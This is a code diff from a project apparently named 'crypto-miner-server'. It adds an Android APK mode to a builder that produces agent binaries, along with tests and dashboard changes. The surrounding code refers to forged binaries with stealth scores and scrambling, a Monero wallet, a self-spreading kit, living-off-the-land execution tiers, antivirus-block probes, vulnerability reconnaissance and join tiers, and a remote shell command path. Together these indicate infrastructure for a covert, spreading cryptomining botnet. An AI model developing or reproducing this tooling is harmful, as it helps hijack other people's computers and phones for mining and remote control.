||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fileInfo, err := os.Stat(finalPath)
|
||||||
|
if err != nil {
|
||||||
|
cleanupBuild()
|
||||||
|
return BuildResponse{Success: false, Error: "APK build succeeded but file not found"}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
if err := h.checkBuildSize(fileInfo.Size()); err != nil {
|
||||||
|
cleanupBuild()
|
||||||
|
return BuildResponse{Success: false, Error: err.Error()}, http.StatusBadRequest, ""
|
||||||
|
}
|
||||||
|
|
||||||
|
exportPath := ""
|
||||||
|
if h.projectRoot != "" && h.projectRoot != "." {
|
||||||
|
exportPath = filepath.Join(h.projectRoot, finalName)
|
||||||
|
if err := copyFile(finalPath, exportPath); err != nil {
|
||||||
|
log.Printf("[Builder] APK root export: %v", err)
|
||||||
|
exportPath = ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if exportPath == "" {
|
||||||
|
exportPath, _ = filepath.Abs(finalPath)
|
||||||
|
}
|
||||||
|
|
||||||
|
absPath, _ := filepath.Abs(finalPath)
|
||||||
|
dlURL := fmt.Sprintf("/api/v1/builds/%s/download", buildID)
|
||||||
|
buildRecord := &models.BuildRecord{
|
||||||
|
ID: buildID,
|
||||||
|
WorkerName: req.WorkerName,
|
||||||
|
ServerURL: req.ServerURL,
|
||||||
|
Wallet: req.Wallet,
|
||||||
|
Threads: req.Threads,
|
||||||
|
FileSize: fileInfo.Size(),
|
||||||
|
FilePath: absPath,
|
||||||
|
FileName: finalName,
|
||||||
|
DownloadURL: dlURL,
|
||||||
|
Platform: "android",
|
||||||
|
CreatedAt: time.Now(),
|
||||||
|
}
|
||||||
|
h.setProgress(req.CancelToken, "Saving to database", 99)
|
||||||
|
if err := h.db.InsertBuild(buildRecord); err != nil {
|
||||||
|
return BuildResponse{Success: false, Error: "Failed to record build in database"}, http.StatusInternalServerError, ""
|
||||||
|
}
|
||||||
|
|
||||||
|
h.notifyBuildComplete(finalName, req.WorkerName, fileInfo.Size())
|
||||||
|
|
||||||
|
return BuildResponse{
|
||||||
|
Success: true,
|
||||||
|
BuildID: buildID,
|
||||||
|
FileName: finalName,
|
||||||
|
FilePath: absPath,
|
||||||
|
ArtifactPath: absPath,
|
||||||
|
FileSize: fileInfo.Size(),
|
||||||
|
DownloadURL: dlURL,
|
||||||
|
ExportPath: exportPath,
|
||||||
|
}, http.StatusOK, finalPath
|
||||||
|
}
|
||||||
121
server/internal/builder/build_apk_test.go
Normal file
121
server/internal/builder/build_apk_test.go
Normal file
@@ -0,0 +1,121 @@
|
|||||||
|
package builder
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"encoding/json"
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestApplyApkBuildPreset(t *testing.T) {
|
||||||
|
req := &BuildRequest{
|
||||||
|
WorkerName: "phone-1",
|
||||||
|
ServerURL: "http://192.168.1.5:8989",
|
||||||
|
FusionEnabled: true,
|
||||||
|
Threads: 8,
|
||||||
|
}
|
||||||
|
ApplyApkBuildPreset(req)
|
||||||
|
if !req.ApkMode || req.TargetOS != "android" || req.TargetArch != "arm64" {
|
||||||
|
t.Fatalf("apk preset target: mode=%v os=%q arch=%q", req.ApkMode, req.TargetOS, req.TargetArch)
|
||||||
|
}
|
||||||
|
if req.FusionEnabled || req.SpreadKit || !req.MiningDisabled {
|
||||||
|
t.Fatalf("fusion/spread/mining: fusion=%v spread=%v mining_disabled=%v", req.FusionEnabled, req.SpreadKit, req.MiningDisabled)
|
||||||
|
}
|
||||||
|
if req.Threads != 1 {
|
||||||
|
t.Fatalf("threads=%d want 1", req.Threads)
|
||||||
|
}
|
||||||
|
if req.ApkAgentName != "phone-1" {
|
||||||
|
t.Fatalf("apk_agent_name=%q", req.ApkAgentName)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPlatformsForRequestApkMode(t *testing.T) {
|
||||||
|
ps := platformsForRequest(&BuildRequest{ApkMode: true})
|
||||||
|
if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
|
||||||
|
t.Fatalf("apk platform: %+v", ps)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildAPKAgentMockGradle(t *testing.T) {
|
||||||
|
h, _ := testHandlerDB(t)
|
||||||
|
setFakeGoSuccess(t, h)
|
||||||
|
|
||||||
|
androidDir := filepath.Join(h.projectRoot, "android")
|
||||||
|
if err := os.MkdirAll(filepath.Join(androidDir, "agent-app", "src", "main", "assets"), 0755); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
|
||||||
|
h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
|
||||||
|
apk := filepath.Join(buildDir, "agent-app-release.apk")
|
||||||
|
if err := os.WriteFile(apk, []byte("PK fake apk"), 0644); err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
return apk, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
req := &BuildRequest{
|
||||||
|
WorkerName: "tablet-1",
|
||||||
|
ServerURL: "http://192.168.1.10:8989",
|
||||||
|
CancelToken: "apk-test-token",
|
||||||
|
ApkMode: true,
|
||||||
|
}
|
||||||
|
resp, code, _ := h.buildAPKAgent(context.Background(), req)
|
||||||
|
if code != 200 || !resp.Success {
|
||||||
|
t.Fatalf("build failed code=%d resp=%+v", code, resp)
|
||||||
|
}
|
||||||
|
if resp.ArtifactPath == "" || resp.DownloadURL == "" {
|
||||||
|
t.Fatalf("missing artifact paths: %+v", resp)
|
||||||
|
}
|
||||||
|
if !strings.HasSuffix(resp.FileName, ".apk") {
|
||||||
|
t.Fatalf("file_name=%q", resp.FileName)
|
||||||
|
}
|
||||||
|
|
||||||
|
cfgPath := filepath.Join(h.apkAssetsDir(), "config.json")
|
||||||
|
raw, err := os.ReadFile(cfgPath)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("config.json: %v", err)
|
||||||
|
}
|
||||||
|
var cfg apkAssetConfig
|
||||||
|
if err := json.Unmarshal(raw, &cfg); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if cfg.ServerURL != req.ServerURL || cfg.WorkerName != "tablet-1" {
|
||||||
|
t.Fatalf("config.json: %+v", cfg)
|
||||||
|
}
|
||||||
|
|
||||||
|
agentAsset := filepath.Join(h.apkAssetsDir(), "agent")
|
||||||
|
if _, err := os.Stat(agentAsset); err != nil {
|
||||||
|
t.Fatalf("agent asset missing: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
// Verify compile step wrote linux/arm64 builtin config with APK flags.
|
||||||
|
buildDirs, _ := os.ReadDir(filepath.Join(h.dataDir, "builds"))
|
||||||
|
if len(buildDirs) == 0 {
|
||||||
|
t.Fatal("no build dir")
|
||||||
|
}
|
||||||
|
builtinPath := filepath.Join(h.dataDir, "builds", buildDirs[0].Name(), "agent", "config", "builtin.go")
|
||||||
|
builtin, err := os.ReadFile(builtinPath)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("builtin.go: %v", err)
|
||||||
|
}
|
||||||
|
if !strings.Contains(string(builtin), "ApkMode") || !strings.Contains(string(builtin), "MiningDisabled: true") {
|
||||||
|
t.Fatalf("apk flags missing from builtin.go:\n%s", builtin)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNormalizeRequestApkSkipsWallet(t *testing.T) {
|
||||||
|
h := &Handler{}
|
||||||
|
req := &BuildRequest{
|
||||||
|
WorkerName: "apk-node",
|
||||||
|
ServerURL: "http://192.168.1.5:8989",
|
||||||
|
ApkMode: true,
|
||||||
|
}
|
||||||
|
if err := h.normalizeRequest(req); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if req.TargetOS != "android" || !req.MiningDisabled {
|
||||||
|
t.Fatalf("normalized apk: os=%q mining_disabled=%v", req.TargetOS, req.MiningDisabled)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -122,6 +122,11 @@ type BuildRequest struct {
|
|||||||
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
|
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
|
||||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
||||||
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
||||||
|
|
||||||
|
// APK mode — Android fleet node (mining off by default).
|
||||||
|
ApkMode bool `json:"apk_mode"`
|
||||||
|
ApkAgentName string `json:"apk_agent_name"`
|
||||||
|
MiningDisabled bool `json:"mining_disabled"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||||
@@ -157,6 +162,7 @@ type BuildResponse struct {
|
|||||||
SigilScramble bool `json:"sigil_scramble,omitempty"`
|
SigilScramble bool `json:"sigil_scramble,omitempty"`
|
||||||
BinaryFingerprint string `json:"binary_fingerprint,omitempty"`
|
BinaryFingerprint string `json:"binary_fingerprint,omitempty"`
|
||||||
StealthScore int `json:"stealth_score,omitempty"`
|
StealthScore int `json:"stealth_score,omitempty"`
|
||||||
|
ArtifactPath string `json:"artifact_path,omitempty"`
|
||||||
Error string `json:"error,omitempty"`
|
Error string `json:"error,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -204,6 +210,9 @@ type Handler struct {
|
|||||||
// can poll GET /api/v1/builder/progress/{token} instead of running a fake timer.
|
// can poll GET /api/v1/builder/progress/{token} instead of running a fake timer.
|
||||||
activeProgressMu sync.RWMutex
|
activeProgressMu sync.RWMutex
|
||||||
activeProgress map[string]BuildProgress
|
activeProgress map[string]BuildProgress
|
||||||
|
|
||||||
|
// apkBuildFn overrides APK packaging (tests inject a mock gradle/script).
|
||||||
|
apkBuildFn ApkBuildFunc
|
||||||
}
|
}
|
||||||
|
|
||||||
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
|
// SetFleetSecret stores the fleet secret so it is baked into every forged binary.
|
||||||
@@ -593,6 +602,9 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||||
|
if req.ApkMode {
|
||||||
|
return h.buildAPKAgent(ctx, req)
|
||||||
|
}
|
||||||
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
|
if strings.ToLower(strings.TrimSpace(req.TargetOS)) == "universal" {
|
||||||
return h.buildUniversalAgent(ctx, req, prepPath)
|
return h.buildUniversalAgent(ctx, req, prepPath)
|
||||||
}
|
}
|
||||||
@@ -928,10 +940,13 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
|||||||
if req.ServerURL == "" {
|
if req.ServerURL == "" {
|
||||||
return fmt.Errorf("server_url is required")
|
return fmt.Errorf("server_url is required")
|
||||||
}
|
}
|
||||||
if req.Wallet == "" {
|
if req.ApkMode {
|
||||||
|
ApplyApkBuildPreset(req)
|
||||||
|
}
|
||||||
|
if !req.ApkMode && req.Wallet == "" {
|
||||||
return fmt.Errorf("wallet is required")
|
return fmt.Errorf("wallet is required")
|
||||||
}
|
}
|
||||||
if h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
|
if !req.ApkMode && h.policy.StrictWalletValidation && !looksLikeXMRWallet(req.Wallet) {
|
||||||
return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 90–106 chars)")
|
return fmt.Errorf("wallet must be a valid Monero mainnet address (starts with 4, 90–106 chars)")
|
||||||
}
|
}
|
||||||
req.OutputDir = strings.TrimSpace(req.OutputDir)
|
req.OutputDir = strings.TrimSpace(req.OutputDir)
|
||||||
@@ -1043,6 +1058,10 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
|||||||
if req.PoolPass == "" {
|
if req.PoolPass == "" {
|
||||||
req.PoolPass = "x"
|
req.PoolPass = "x"
|
||||||
}
|
}
|
||||||
|
if req.ApkMode {
|
||||||
|
req.FusionEnabled = false
|
||||||
|
req.SpreadKit = false
|
||||||
|
}
|
||||||
if req.FusionEnabled {
|
if req.FusionEnabled {
|
||||||
if req.FusionRunOrder == "" {
|
if req.FusionRunOrder == "" {
|
||||||
req.FusionRunOrder = "parallel"
|
req.FusionRunOrder = "parallel"
|
||||||
@@ -1071,8 +1090,12 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
if strings.TrimSpace(req.TargetOS) == "" {
|
if strings.TrimSpace(req.TargetOS) == "" {
|
||||||
|
if req.ApkMode {
|
||||||
|
req.TargetOS = "android"
|
||||||
|
} else {
|
||||||
req.TargetOS = "windows"
|
req.TargetOS = "windows"
|
||||||
}
|
}
|
||||||
|
}
|
||||||
if req.SpreadKit {
|
if req.SpreadKit {
|
||||||
req.FusionEnabled = false
|
req.FusionEnabled = false
|
||||||
req.TargetOS = "universal"
|
req.TargetOS = "universal"
|
||||||
@@ -1249,6 +1272,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
LotlOnionEnabled: %v,
|
LotlOnionEnabled: %v,
|
||||||
LotlPolicyFromServer: %v,
|
LotlPolicyFromServer: %v,
|
||||||
LotlOnionTiers: %s,
|
LotlOnionTiers: %s,
|
||||||
|
|
||||||
|
ApkMode: %v,
|
||||||
|
MiningDisabled: %v,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||||
@@ -1331,6 +1357,8 @@ func GetBuiltinConfig() BuiltinConfig {
|
|||||||
req.LotlOnionEnabled,
|
req.LotlOnionEnabled,
|
||||||
req.LotlPolicyFromServer,
|
req.LotlPolicyFromServer,
|
||||||
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
|
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
|
||||||
|
req.ApkMode,
|
||||||
|
req.MiningDisabled,
|
||||||
)
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -26,6 +26,9 @@ var defaultPlatforms = []BuildPlatform{
|
|||||||
}
|
}
|
||||||
|
|
||||||
func platformsForRequest(req *BuildRequest) []BuildPlatform {
|
func platformsForRequest(req *BuildRequest) []BuildPlatform {
|
||||||
|
if req.ApkMode || strings.ToLower(strings.TrimSpace(req.TargetOS)) == "android" {
|
||||||
|
return []BuildPlatform{{GOOS: "linux", GOARCH: "arm64", Ext: ""}}
|
||||||
|
}
|
||||||
target := strings.ToLower(strings.TrimSpace(req.TargetOS))
|
target := strings.ToLower(strings.TrimSpace(req.TargetOS))
|
||||||
if target == "" || target == "windows" {
|
if target == "" || target == "windows" {
|
||||||
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
|
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
|
||||||
|
|||||||
@@ -7,6 +7,13 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
func TestPlatformsForRequestAndroid(t *testing.T) {
|
||||||
|
ps := platformsForRequest(&BuildRequest{TargetOS: "android"})
|
||||||
|
if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
|
||||||
|
t.Fatalf("android maps to linux/arm64 agent, got %+v", ps)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestPlatformsForRequestWindowsDefault(t *testing.T) {
|
func TestPlatformsForRequestWindowsDefault(t *testing.T) {
|
||||||
req := &BuildRequest{TargetOS: ""}
|
req := &BuildRequest{TargetOS: ""}
|
||||||
ps := platformsForRequest(req)
|
ps := platformsForRequest(req)
|
||||||
|
|||||||
@@ -1,11 +1,19 @@
|
|||||||
package clearance
|
package clearance
|
||||||
|
|
||||||
import "crypto-miner-server/internal/models"
|
import (
|
||||||
|
"os"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/models"
|
||||||
|
)
|
||||||
|
|
||||||
// DefaultClearance returns the baseline clearance for an agent.
|
// DefaultClearance returns the baseline clearance for an agent.
|
||||||
// Online agents start at L1 (mining commands); offline agents are L0 (read-only).
|
// Online agents start at L1 (mining commands); offline agents are L0 (read-only).
|
||||||
|
// AETHERFORGE_E2E=1 (Playwright phase 8) grants L3 so shell exec E2E can round-trip.
|
||||||
func DefaultClearance(agent *models.Agent) int {
|
func DefaultClearance(agent *models.Agent) int {
|
||||||
if agent != nil && agent.Status == "online" {
|
if agent != nil && agent.Status == "online" {
|
||||||
|
if os.Getenv("AETHERFORGE_E2E") == "1" {
|
||||||
|
return L3
|
||||||
|
}
|
||||||
return L1
|
return L1
|
||||||
}
|
}
|
||||||
return L0
|
return L0
|
||||||
|
|||||||
@@ -46,6 +46,8 @@ test.describe('Crucible remote command', () => {
|
|||||||
|
|
||||||
const terminal = page.locator('.crucible-terminal');
|
const terminal = page.locator('.crucible-terminal');
|
||||||
await expect(terminal.getByText('echo crucible-e2e-ping')).toBeVisible({ timeout: 10_000 });
|
await expect(terminal.getByText('echo crucible-e2e-ping')).toBeVisible({ timeout: 10_000 });
|
||||||
await expect(terminal.getByText('crucible-e2e-ping')).toBeVisible({ timeout: 15_000 });
|
await expect(terminal.getByText('crucible-e2e-ping', { exact: true })).toBeVisible({
|
||||||
|
timeout: 15_000,
|
||||||
|
});
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -38,7 +38,7 @@ test.describe('Page smoke', () => {
|
|||||||
await expect(page.getByRole('button', { name: /Logic gates/i })).toBeVisible();
|
await expect(page.getByRole('button', { name: /Logic gates/i })).toBeVisible();
|
||||||
await expect(page.getByRole('button', { name: /AI Control/i })).toBeVisible();
|
await expect(page.getByRole('button', { name: /AI Control/i })).toBeVisible();
|
||||||
await page.getByRole('button', { name: /AI Control/i }).click();
|
await page.getByRole('button', { name: /AI Control/i }).click();
|
||||||
await expect(page.getByPlaceholderText('http://127.0.0.1:11434/v1')).toBeVisible();
|
await expect(page.locator('#cal-ai-endpoint')).toBeVisible();
|
||||||
await expect(page.getByRole('button', { name: 'Refresh models' })).toBeVisible();
|
await expect(page.getByRole('button', { name: 'Refresh models' })).toBeVisible();
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ import {
|
|||||||
type SubnetLayout,
|
type SubnetLayout,
|
||||||
} from '../../help/networkTopology';
|
} from '../../help/networkTopology';
|
||||||
import { agentAccentColor } from '../../help/fleetHeatMap';
|
import { agentAccentColor } from '../../help/fleetHeatMap';
|
||||||
|
import { platformIcon } from '../../help/platform';
|
||||||
import './NetworkTopoMap.css';
|
import './NetworkTopoMap.css';
|
||||||
|
|
||||||
// ── Types ──────────────────────────────────────────────────────────────────
|
// ── Types ──────────────────────────────────────────────────────────────────
|
||||||
@@ -29,14 +30,6 @@ interface Props {
|
|||||||
|
|
||||||
// ── Platform icon helper ───────────────────────────────────────────────────
|
// ── Platform icon helper ───────────────────────────────────────────────────
|
||||||
|
|
||||||
function platformIcon(platform: string): string {
|
|
||||||
const p = platform.toLowerCase();
|
|
||||||
if (p.includes('win')) return '⊞';
|
|
||||||
if (p.includes('linux')) return '🐧';
|
|
||||||
if (p.includes('darwin')) return '';
|
|
||||||
return '⬡';
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Hashrate spike tracking ────────────────────────────────────────────────
|
// ── Hashrate spike tracking ────────────────────────────────────────────────
|
||||||
|
|
||||||
const SPIKE_RATIO = 1.3;
|
const SPIKE_RATIO = 1.3;
|
||||||
|
|||||||
@@ -76,3 +76,27 @@ describe('buildAccessDepthModel pending chain', () => {
|
|||||||
expect(model.failed).toHaveLength(1);
|
expect(model.failed).toHaveLength(1);
|
||||||
});
|
});
|
||||||
});
|
});
|
||||||
|
|
||||||
|
describe('buildAccessDepthModel android', () => {
|
||||||
|
it('uses android platform label and probes', () => {
|
||||||
|
const model = buildAccessDepthModel(
|
||||||
|
agent({ platform: 'android', os_version: '14', arch: 'arm64' }),
|
||||||
|
parseAccessDepthDiagnostics({
|
||||||
|
environment_probes: {
|
||||||
|
wifi: true,
|
||||||
|
battery: true,
|
||||||
|
foreground_service: true,
|
||||||
|
},
|
||||||
|
tier_chain_order: ['foreground_service', 'cpu_inprocess'],
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
expect(model.platformLabel).toBe('Android');
|
||||||
|
expect(model.probes.map((p) => p.label)).toEqual(['Wi-Fi', 'Battery', 'Foreground svc']);
|
||||||
|
expect(model.miningOnion.map((r) => r.tier)).toEqual([
|
||||||
|
'foreground_service',
|
||||||
|
'cpu_inprocess',
|
||||||
|
'desktop_tiers_skipped',
|
||||||
|
]);
|
||||||
|
expect(model.spreadOnion).toEqual([]);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
|
import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
|
||||||
import type { Agent } from '../types';
|
import type { Agent } from '../types';
|
||||||
|
import { isAndroidPlatform, platformLabel } from './platform';
|
||||||
import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl';
|
import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl';
|
||||||
|
|
||||||
/** Mirrors agent/miner/environment_probe.go */
|
/** Mirrors agent/miner/environment_probe.go */
|
||||||
@@ -11,6 +12,9 @@ export interface EnvironmentProbes {
|
|||||||
gpu?: boolean;
|
gpu?: boolean;
|
||||||
av_blocks_exe?: boolean;
|
av_blocks_exe?: boolean;
|
||||||
webview2?: boolean;
|
webview2?: boolean;
|
||||||
|
wifi?: boolean;
|
||||||
|
battery?: boolean;
|
||||||
|
foreground_service?: boolean;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface StrategyReason {
|
export interface StrategyReason {
|
||||||
@@ -117,6 +121,12 @@ export const DEFAULT_MINING_TIER_ORDER = [
|
|||||||
'stratum_direct',
|
'stratum_direct',
|
||||||
] as const;
|
] as const;
|
||||||
|
|
||||||
|
/** APK fleet-node mining path — foreground service then in-process CPU. */
|
||||||
|
export const ANDROID_MINING_TIER_ORDER = ['foreground_service', 'cpu_inprocess'] as const;
|
||||||
|
|
||||||
|
/** Virtual timeline row summarizing skipped desktop tiers on Android. */
|
||||||
|
export const ANDROID_DESKTOP_SKIPPED_TIER = 'desktop_tiers_skipped';
|
||||||
|
|
||||||
const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports'];
|
const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports'];
|
||||||
const DEFAULT_TRIPLE_DEPLOY = [
|
const DEFAULT_TRIPLE_DEPLOY = [
|
||||||
'discover_and_join',
|
'discover_and_join',
|
||||||
@@ -133,7 +143,7 @@ export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefi
|
|||||||
if (!raw || typeof raw !== 'object') return undefined;
|
if (!raw || typeof raw !== 'object') return undefined;
|
||||||
const row = raw as Record<string, unknown>;
|
const row = raw as Record<string, unknown>;
|
||||||
const probes: EnvironmentProbes = {};
|
const probes: EnvironmentProbes = {};
|
||||||
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2'] as const) {
|
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2', 'wifi', 'battery', 'foreground_service'] as const) {
|
||||||
if (typeof row[key] === 'boolean') probes[key] = row[key];
|
if (typeof row[key] === 'boolean') probes[key] = row[key];
|
||||||
}
|
}
|
||||||
return Object.keys(probes).length > 0 ? probes : undefined;
|
return Object.keys(probes).length > 0 ? probes : undefined;
|
||||||
@@ -205,15 +215,21 @@ function ordersDiffer(a: readonly string[], b: readonly string[]): boolean {
|
|||||||
return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase());
|
return a.some((tier, i) => tier.toLowerCase() !== b[i]?.toLowerCase());
|
||||||
}
|
}
|
||||||
|
|
||||||
function platformLabel(platform?: string): string {
|
function androidDesktopSkipped(): string[] {
|
||||||
const p = (platform || '').toLowerCase();
|
return DEFAULT_MINING_TIER_ORDER.filter(
|
||||||
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
|
(t) => !ANDROID_MINING_TIER_ORDER.includes(t as (typeof ANDROID_MINING_TIER_ORDER)[number]),
|
||||||
if (p.includes('linux')) return 'Linux';
|
);
|
||||||
if (p.includes('win') || p === 'windows') return 'Windows';
|
|
||||||
return platform?.trim() || 'Unknown';
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] {
|
function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] {
|
||||||
|
if (isAndroidPlatform(agent.platform)) {
|
||||||
|
const p = probes ?? {};
|
||||||
|
return [
|
||||||
|
{ key: 'wifi', label: 'Wi-Fi', ok: p.wifi === true },
|
||||||
|
{ key: 'battery', label: 'Battery', ok: p.battery === true },
|
||||||
|
{ key: 'fg_service', label: 'Foreground svc', ok: p.foreground_service === true },
|
||||||
|
].filter((c) => c.ok || probes != null);
|
||||||
|
}
|
||||||
const p = probes ?? {};
|
const p = probes ?? {};
|
||||||
const chips: ProbeChip[] = [
|
const chips: ProbeChip[] = [
|
||||||
{ key: 'docker', label: 'Docker', ok: p.docker === true },
|
{ key: 'docker', label: 'Docker', ok: p.docker === true },
|
||||||
@@ -309,6 +325,15 @@ function resolveMiningOrder(
|
|||||||
policy: AccessDepthServerPolicy | undefined,
|
policy: AccessDepthServerPolicy | undefined,
|
||||||
agent: Agent,
|
agent: Agent,
|
||||||
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
|
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' | 'adaptive' } {
|
||||||
|
if (isAndroidPlatform(agent.platform)) {
|
||||||
|
const order = diag?.tier_chain_order?.length
|
||||||
|
? diag.tier_chain_order
|
||||||
|
: [...ANDROID_MINING_TIER_ORDER];
|
||||||
|
const skipped = diag?.tier_chain_skipped?.length
|
||||||
|
? diag.tier_chain_skipped
|
||||||
|
: androidDesktopSkipped();
|
||||||
|
return { order, skipped, source: diag?.tier_chain_order?.length ? 'agent' : 'default' };
|
||||||
|
}
|
||||||
if (diag?.adaptive_strategy?.tier_order?.length) {
|
if (diag?.adaptive_strategy?.tier_order?.length) {
|
||||||
const adaptiveOrder = diag.adaptive_strategy.tier_order;
|
const adaptiveOrder = diag.adaptive_strategy.tier_order;
|
||||||
const adaptiveActive = ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER);
|
const adaptiveActive = ordersDiffer(adaptiveOrder, DEFAULT_MINING_TIER_ORDER);
|
||||||
@@ -431,8 +456,9 @@ export function buildAccessDepthModel(
|
|||||||
const pending = computePendingTiers(order, skipped, attempts);
|
const pending = computePendingTiers(order, skipped, attempts);
|
||||||
const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);
|
const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);
|
||||||
|
|
||||||
const spreadOrder =
|
const spreadOrder = isAndroidPlatform(agent.platform)
|
||||||
policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
|
? []
|
||||||
|
: policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
|
||||||
? policy.lotl_onion_tiers
|
? policy.lotl_onion_tiers
|
||||||
: [...DEFAULT_LOTL_ONION_TIERS];
|
: [...DEFAULT_LOTL_ONION_TIERS];
|
||||||
|
|
||||||
@@ -447,6 +473,18 @@ export function buildAccessDepthModel(
|
|||||||
if (agent.os_version) osParts.push(agent.os_version);
|
if (agent.os_version) osParts.push(agent.os_version);
|
||||||
if (agent.arch) osParts.push(agent.arch);
|
if (agent.arch) osParts.push(agent.arch);
|
||||||
|
|
||||||
|
const miningOnion = isAndroidPlatform(agent.platform)
|
||||||
|
? [
|
||||||
|
...buildOnionRows([...ANDROID_MINING_TIER_ORDER], [], attempts, activeTier, atlasSkips),
|
||||||
|
{
|
||||||
|
index: ANDROID_MINING_TIER_ORDER.length + 1,
|
||||||
|
tier: ANDROID_DESKTOP_SKIPPED_TIER,
|
||||||
|
label: formatLotlTierLabel(ANDROID_DESKTOP_SKIPPED_TIER),
|
||||||
|
status: 'skipped' as const,
|
||||||
|
},
|
||||||
|
]
|
||||||
|
: buildOnionRows(order, skipped, attempts, activeTier, atlasSkips);
|
||||||
|
|
||||||
return {
|
return {
|
||||||
platformLabel: platformLabel(agent.platform),
|
platformLabel: platformLabel(agent.platform),
|
||||||
osLine: osParts.join(' · '),
|
osLine: osParts.join(' · '),
|
||||||
@@ -462,7 +500,7 @@ export function buildAccessDepthModel(
|
|||||||
inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
|
inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
|
||||||
pendingTiers: pending,
|
pendingTiers: pending,
|
||||||
